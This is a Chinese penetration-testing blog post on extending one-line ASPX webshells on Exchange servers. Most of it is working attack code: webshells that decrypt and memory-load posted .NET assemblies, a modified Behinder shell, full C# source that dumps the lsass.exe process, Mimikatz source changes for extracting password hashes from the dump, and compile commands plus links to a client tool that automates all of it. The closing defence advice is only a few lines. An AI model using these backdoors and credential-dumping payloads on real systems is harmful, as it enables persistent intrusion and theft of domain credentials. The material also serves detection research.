渗透基础——Exchange 一句话后门的扩展
0x00 前言
在上一篇文章 《渗透基础——Exchange 一句话后门的实现》 介绍了两种 Exchange 一句话后门(内存加载.net 程序集和文件写入),本文将要对 Exchange 一句话后门的功能进行扩展,以导出 lsass 进程的口令 hash 为例,介绍内存加载 PE 文件的实现方法,开源测试代码,分析利用思路,给出防御建议。
0x01 简介
本文将要介绍以下内容:
- Exchange 一句话后门的编写
- 通过内存加载.net 程序集实现导出 lsass.exe 进程的 dmp 文件
- 通过内存加载 PE 文件实现内存加载 Mimikatz 并解析指定位置的 dmp 文件
- 开源代码
- 防御建议
0x02 Exchange 一句话后门的编写
(1) 基本的实现代码
示例代码如下:
<%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%>
代码会判断是否带有 POST 请求的参数 demodata
,如果存在会将 POST 请求中参数 demodata
的内容作 base64 解密,在内存加载并调用名为 Payload 的实例
(2) 冰蝎 的实现代码
默认启动代码如下:
<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>
提取其中使用的解密代码如下:
public static string Decrypt(string str, string key)
{
Byte[] toEncryptArray = Encoding.UTF8.GetBytes(str);
Byte[] toEncryptKey = Encoding.UTF8.GetBytes(key);
Byte[] resultArray = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(toEncryptKey, toEncryptKey).TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
return Encoding.UTF8.GetString(resultArray);
}
参照解密代码,推出对应的加密代码如下:
public static string Encrypt(string str, string key)
{
Byte[] toEncryptArray = Encoding.UTF8.GetBytes(str);
Byte[] toEncryptKey = Encoding.UTF8.GetBytes(key);
//Byte[] resultArray = new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(toEncryptKey, toEncryptKey).TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
RijndaelManaged rm = new RijndaelManaged
{
Mode = CipherMode.CBC,
Padding = PaddingMode.PKCS7
};
ICryptoTransform cTransform = rm.CreateEncryptor(toEncryptKey, toEncryptKey);
Byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
return Encoding.UTF8.GetString(resultArray);
}
Exchange 下直接使用冰蝎会报错,错误原因:
Session state can only be used when enableSessionState is set to true, either in a configuration file or in the Page directive. Please also make sure that System.Web.SessionStateModule or a custom session state module is included in the <configuration>\<system.web>\<httpModules> section in the application configuration.
这里需要修改 Webshell 路径对应的 web.config 文件,找到位置:
<system.webServer>
<modules>
去掉 <remove name="Session" />
即可
类似的还有 Godzilla
(3) 修改后的实现代码
在 Exchange 下应避免使用 Session 传递数据,这里改用 POST 请求传递数据,最终代码如下:
<%@ Page Language="C#" %>
<%
if (Request.Form["k"]!=null&&Request.Form["data"]!=null)
{
Byte[] k=Convert.FromBase64String(Request.Form["k"]);
Byte[] c=Convert.FromBase64String(Request.Form["data"]);
System.Reflection.Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);
}
%>
POST 请求中的参数 k
作为密钥,参数 data
作为加密的数据,解密后在内存加载并调用名为 U 的实例
接下来两节内容将介绍连接上述 Exchange 一句话后门的客户端开发细节
0x03 通过内存加载.net 程序集实现导出 lsass.exe 进程的 dmp 文件
这里需要通过 C#实现导出 lsass.exe 进程 dmp 文件的功能
新建文件 dumplsass.cs,代码如下:
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Security.Principal;
public class U
{
[DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, ExactSpelling = true, SetLastError = true)]
static extern bool MiniDumpWriteDump(IntPtr hProcess, uint processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr userStreamParam, IntPtr callbackParam);
public static bool IsHighIntegrity()
{
WindowsIdentity identity = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
public static void Minidump()
{
IntPtr targetProcessHandle = IntPtr.Zero;
uint targetProcessId = 0;
Process targetProcess = null;
Process[] processes = Process.GetProcessesByName("lsass");
targetProcess = processes[0];
try
{
targetProcessId = (uint)targetProcess.Id;
targetProcessHandle = targetProcess.Handle;
}
catch (Exception ex)
{
return;
}
string systemRoot = Environment.GetEnvironmentVariable("SystemRoot");
string dumpFile = String.Format("{0}\\Temp\\lsass.bin", systemRoot);
using (FileStream fs = new FileStream(dumpFile, FileMode.Create, FileAccess.ReadWrite, FileShare.Write))
{
MiniDumpWriteDump(targetProcessHandle, targetProcessId, fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
}
}
public override bool Equals(Object obj)
{
Minidump();
return true;
}
}
编译生成 dll 文件,命令如下:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library dumplsass.cs
生成的 dumplsass.dll 即为实现导出 lsass.exe 进程 dmp 文件的 Payload 数据
加载后获得 lsass.exe 进程的 dmp 文件,保存位置: C:\Windows\Temp\lsass.bin
0x04 通过内存加载 PE 文件实现内存加载 Mimikatz 并解析指定位置的 dmp 文件
这里分为两阶段:
- 通过 C++实现解析指定位置的 dmp 文件并提取 hash,可以在 Mimikatz 的基础上进行修改
- 通过 C#实现内存加载 PE 文件的功能
1.通过 C++实现解析指定位置的 dmp 文件并提取 hash
mimikatz 解析指定位置 dmp 文件的命令:
mimikatz.exe log "sekurlsa::minidump C:\Windows\Temp\lsass.bin" "sekurlsa::logonPasswords full" exit
修改 mimikatz 源码,涉及以下两部分:
手动传入命令参数,添加如下代码:
argc = 5;
argv[1] = L"log";
argv[2] = L"sekurlsa::minidump C:\\Windows\\Temp\\lsass.bin";
argv[3] = L"sekurlsa::logonpasswords full";
argv[4] = L"exit";
指定日志保存路径为 C:\Windows\Temp\mimikatz.log
,修改以下代码:
#define MIMIKATZ_DEFAULT_LOG L"C:\\Windows\\Temp\\" MIMIKATZ L".log"
编译后生成新的 mimikatz.exe
2.通过 C#实现内存加载 PE 文件的功能
使用 SharpPELoaderGenerater 读取新生成的 mimikatz.exe,生成可用的内存加载代码 SharpPELoader_x64.cs
注:
内存加载的实现细节可参考 《通过.NET 实现内存加载 PE 文件》
修改 SharpPELoader_x64.cs 的格式,使其能够被 Exchange 一句话后门加载,完整代码已上传至 github,地址如下:
https://github.com/3gstudent/test/blob/master/SharpPELoader_parselsass.cs
编译生成 dll 文件,命令如下:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /target:library SharpPELoader_parselsass.cs
生成的 SharpPELoader_parselsass.dll 即为实现内存加载 Mimikatz 解析 dmp 文件 C:\Windows\Temp\lsass.bin
并将导出结果保存为 C:\Windows\Temp\mimikatz.log
的 Payload 数据
0x05 开源代码
完整的客户端代码已上传至 github,地址如下:https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpExchangeDumpHash.cs
使用 C#开发,支持.Net3.5 及更高版本
编译命令如下:
C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe /unsafe /platform:x64 SharpExchangeDumpHash.cs
or
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 SharpExchangeDumpHash.cs
代码支持以下三个功能:
- generate,生成 Exchange 一句话后门
- dumplsass,获得 lsass 进程 dmp 文件
- parsedump,解析 dmp 文件,导出 hash
连接 Exchange 一句话后门时可选择是否使用凭据登录,通信数据使用 AES 加密
代码细节:POST 请求中的参数 k
作为密钥,参数 data
作为加密的数据
- 字符串 base64dumplsass 为 dumplsass.dll 作 Base64 编码后的结果
- 字符串 base64parsedump 为 parsedump.dll 作 Base64 编码后的结果
0x06 防御建议
对于 Exchange 一句话后门,不仅需要判断是否有新的文件写入,还需要判断正常的页面是否被插入恶意内容。
在静态分析上面,可以查看 aspx 文件中是否包含涉及内存加载的敏感函数:
- Assembly.Load
- Assembly.LoadFrom
- Assembly.LoadFile
0x07 小结
本文对 Exchange 一句话后门的功能进行了扩展,以导出 lsass 进程的口令 hash 为例,介绍了内存加载 PE 文件的实现方法,开源测试代码,分析利用思路,给出防御建议。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

上一篇: 渗透技巧——从 Exchange 文件读写权限到命令执行
下一篇: Jvm 常量池
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论